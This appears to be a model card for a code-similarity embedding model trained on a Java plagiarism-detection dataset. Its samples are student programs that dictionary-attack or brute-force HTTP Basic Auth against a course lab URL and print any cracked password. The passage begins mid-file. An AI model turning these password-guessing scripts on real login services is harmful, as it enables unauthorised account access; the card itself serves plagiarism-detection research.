\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ \ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ \ dictionary word and waiting for URL reply....... \");\n String currentword\ \ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ \ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ \ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ \ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ \ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ , userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ \ }\n\n\n public String userNamePasswordBase64(String username, String password)\ \ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ \n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ \ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ \ base64Encode (String string) {\n String encodedString = \"\";\n byte\ \ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ \ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \ \ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ \ if (i >= bytes.length) {\n b3 = 0;\n pad =\ \ 1;\n }\n else\n b3 = bytes [i++];\n \ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch (pad) {\n case\ \ 0:\n encodedString += base64Array [c3];\n encodedString +=\ \ base64Array [c4];\n break;\n case 1:\n encodedString\ \ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ \ case 2:\n encodedString += \"==\";\n break;\n \ \ }\n }\n return encodedString;\n }\n }\n\n" - source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ \ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\ \ status = false;\n\n public static void main (String args[]){\n Dictionary\ \ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ ,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\ );\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\ \t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\ \ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\ \ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\ \ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\ \t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\ \ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\ File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\ \t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \ \ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\ \ (connectURL(new URL(args[0]), args[1], args[2])));\n String\ \ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\ \ status = true;\n }\n }\n catch (IOException e)\ \ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\ \ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ \ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ \ String userNamePasswordBase64(String username, String password) {\n return\ \ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ \ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ \ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ \ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ \ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ \ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ \ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ \ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ \ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ \ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n\n" sentences: - "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\ import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\ import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\ \ protected String wordFile;\n\n public Dictionary()\n {\n super();\n\ \ }\n\n public static void main(String[] args)\n {\n Dictionary\ \ dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n\ \ System.out.println(dictionary.printUsage());\n }\n \ \ else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n\ \ dictionary.setWordFile(args[2]);\n\n if (args.length >\ \ 3)\n {\n dictionary.setFileName(args[3]);\n \ \ }\n dictionary.process();\n System.out.println(dictionary.printResult());\n\ \ System.exit(1);\n }\n }\n\n public void process()\n\ \ {\n attempts = 0;\n String password = \"\";\n \n \ \ setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader\ \ input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n\ \ \n input = new BufferedReader(file);\n \n \ \ }\n catch (FileNotFoundException x)\n {\n System.err.println(\"\ File not found: \" + getWordFile());\n System.exit(2);\n }\n\ \n try\n {\n while ((password = input.readLine()) !=\ \ null)\n {\n try\n {\n \ \ \n attempts++;\n BasicAuthHttpRequest\ \ req =\n new BasicAuthHttpRequest(\n \ \ getURL(),\n getUserName(),\n \ \ password);\n setPassword(password);\n \ \ setEnd(new Timestamp(System.currentTimeMillis()));\n \ \ setContent(req.getContent().toString());\n\n \ \ \n if (getFileName() != null\n &&\ \ getFileName().length() > 0)\n {\n \ \ createReport();\n }\n return;\n \ \ }\n catch (MalformedURLException e)\n \ \ {\n e.printStackTrace();\n return;\n\ \ }\n catch (IOException e)\n {\n\ \n }\n }\n }\n catch (IOException x)\n\ \ {\n x.printStackTrace();\n }\n\n \n setEnd(new\ \ Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n\ \ {\n StringBuffer s = new StringBuffer();\n\n s.append(\"**\ \ BruteForce proper usage **\\n\\n\");\n s.append(\n \"java\ \ ..httputils.Dictionary \\\ n\\n\");\n\n return s.toString();\n }\n \n public String getWordFile()\n\ \ {\n return wordFile;\n }\n\n \n public void setWordFile(String\ \ string)\n {\n wordFile = string;\n }\n\n}\n" - "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\ \ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\ \n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\ \ void attack(String args[]) {\n try {\n String login = new String(\"\"\ );\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ );\n String passwd = new String();\n\n\n passwd = getPasswd();\n \ \ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\ \ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\ \ != null) {\n System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \ \ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ \ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\ \ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\ \ dictionary word and waiting for URL reply....... \");\n String currentword\ \ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\ \ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\ \ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\ \ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\ \ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\ \ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\ , userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\ \ }\n\n\n public String userNamePasswordBase64(String username, String password)\ \ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\ \n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\ \ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\ \ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\ \ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\ \ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \ \ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\ \ base64Encode (String string) {\n String encodedString = \"\";\n byte\ \ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\ \ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \ \ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\ \ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\ \ if (i >= bytes.length) {\n b3 = 0;\n pad =\ \ 1;\n }\n else\n b3 = bytes [i++];\n \ \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\ \ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\ \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\ \ encodedString += base64Array [c2];\n switch (pad) {\n case\ \ 0:\n encodedString += base64Array [c3];\n encodedString +=\ \ base64Array [c4];\n break;\n case 1:\n encodedString\ \ += base64Array [c3];\n encodedString += \"=\";\n break;\n\ \ case 2:\n encodedString += \"==\";\n break;\n \ \ }\n }\n return encodedString;\n }\n }\n\n" - "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\ \ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ \ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\ \ a.attack(args);\n }\n\n public void attack(String args[]) {\n \ \ try {\n\n String login = new String(\"\");\n String url = new String(\"\ http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\ \ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\ \ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\ \ String line;\n while ((line = in.readLine()) != null) {\n \ \ System.out.println(line);\n }\n System.out.println(\"\ Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\ \ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \ \ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\ \ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \ \ System.out.println(\"Trying again with new password\");\n Bruteforce a =\ \ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\ Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\ \ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \ \ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \ \ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\ \ String();\n String c2 = new String();\n String c3 = new String();\n \ \ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \ \ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\ \ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\ \ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\ \";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\ \ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\ \ openURLForInput (URL url, String uname, String pword)\n throws IOException \ \ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\ \ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \ \ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\ \ username, String password) {\n return \" \" + base64Encode (username + \"\ :\" + password);\n }\n\n private final static char base64Array [] = {\n \ \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\ \ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\ \ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\ \ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\ \ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\ \n private static String base64Encode (String string) {\n String encodedString\ \ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\ \ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \ \ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\ \ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \ \ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\ \ = 0;\n pad = 1;\n }\n else\n b3\ \ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\ \ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\ \ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ \ encodedString += base64Array [c4];\n break;\n case 1:\n\ \ encodedString += base64Array [c3];\n encodedString += \"=\"\ ;\n break;\n case 2:\n encodedString += \"==\";\n \ \ break;\n }\n }\n return encodedString;\n }\n }\n" datasets: - buelfhood/SOCO_TRAIN_java pipeline_tag: sentence-similarity library_name: sentence-transformers --- # SentenceTransformer based on huggingface/CodeBERTa-small-v1 This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. ## Model Details ### Model Description - **Model Type:** Sentence Transformer - **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) - **Maximum Sequence Length:** 512 tokens - **Output Dimensionality:** 768 dimensions - **Similarity Function:** Cosine Similarity - **Training Dataset:** - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) ### Model Sources - **Documentation:** [Sentence Transformers Documentation](https://sbert.net) - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) ### Full Model Architecture ``` SentenceTransformer( (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) ) ``` ## Usage ### Direct Usage (Sentence Transformers) First install the Sentence Transformers library: ```bash pip install -U sentence-transformers ``` Then you can load this model and run inference. ```python from sentence_transformers import SentenceTransformer # Download from the 🤗 Hub model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-TripletLoss-100") # Run inference sentences = [ 'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n File file = new File("words");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n', 'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String("");\n String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println("Password Cracked Successfully!!!");\n System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println("Message :" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n String currentword = "";\n String se = "";\n try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n', 'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n protected String wordFile;\n\n public Dictionary()\n {\n super();\n }\n\n public static void main(String[] args)\n {\n Dictionary dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n System.out.println(dictionary.printUsage());\n }\n else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n dictionary.setWordFile(args[2]);\n\n if (args.length > 3)\n {\n dictionary.setFileName(args[3]);\n }\n dictionary.process();\n System.out.println(dictionary.printResult());\n System.exit(1);\n }\n }\n\n public void process()\n {\n attempts = 0;\n String password = "";\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n \n input = new BufferedReader(file);\n \n }\n catch (FileNotFoundException x)\n {\n System.err.println("File not found: " + getWordFile());\n System.exit(2);\n }\n\n try\n {\n while ((password = input.readLine()) != null)\n {\n try\n {\n \n attempts++;\n BasicAuthHttpRequest req =\n new BasicAuthHttpRequest(\n getURL(),\n getUserName(),\n password);\n setPassword(password);\n setEnd(new Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\n \n if (getFileName() != null\n && getFileName().length() > 0)\n {\n createReport();\n }\n return;\n }\n catch (MalformedURLException e)\n {\n e.printStackTrace();\n return;\n }\n catch (IOException e)\n {\n\n }\n }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n s.append("** BruteForce proper usage **\\n\\n");\n s.append(\n "java ..httputils.Dictionary \\n\\n");\n\n return s.toString();\n }\n \n public String getWordFile()\n {\n return wordFile;\n }\n\n \n public void setWordFile(String string)\n {\n wordFile = string;\n }\n\n}\n', ] embeddings = model.encode(sentences) print(embeddings.shape) # [3, 768] # Get the similarity scores for the embeddings similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [3, 3] ``` ## Training Details ### Training Dataset #### soco_train_java * Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) * Size: 42,960 training samples * Columns: anchor_code, positive_code, and negative_code * Approximate statistics based on the first 1000 samples: | | anchor_code | positive_code | negative_code | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | string | string | string | | details |
  • min: 512 tokens
  • mean: 512.0 tokens
  • max: 512 tokens
|
  • min: 512 tokens
  • mean: 512.0 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 456.08 tokens
  • max: 512 tokens
| * Samples: | anchor_code | positive_code | negative_code | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | import java.net.*;
import java.io.*;
import java.*;

public class Dictionary {

URLConnection conn = null;
private static boolean status = false;

public static void main (String args[]){
Dictionary a = new Dictionary();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
File file = new File("words");
exit:
try {
BufferedReader in = new BufferedReader(new FileReader(file));
int attempt = 0;
inp[2] = in.readLine();
while (inp[2] != null) {

if (inp[2].length() <= 3) {
attempt++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempt);
break exit;
}
}
inp[2] = in.readLine();
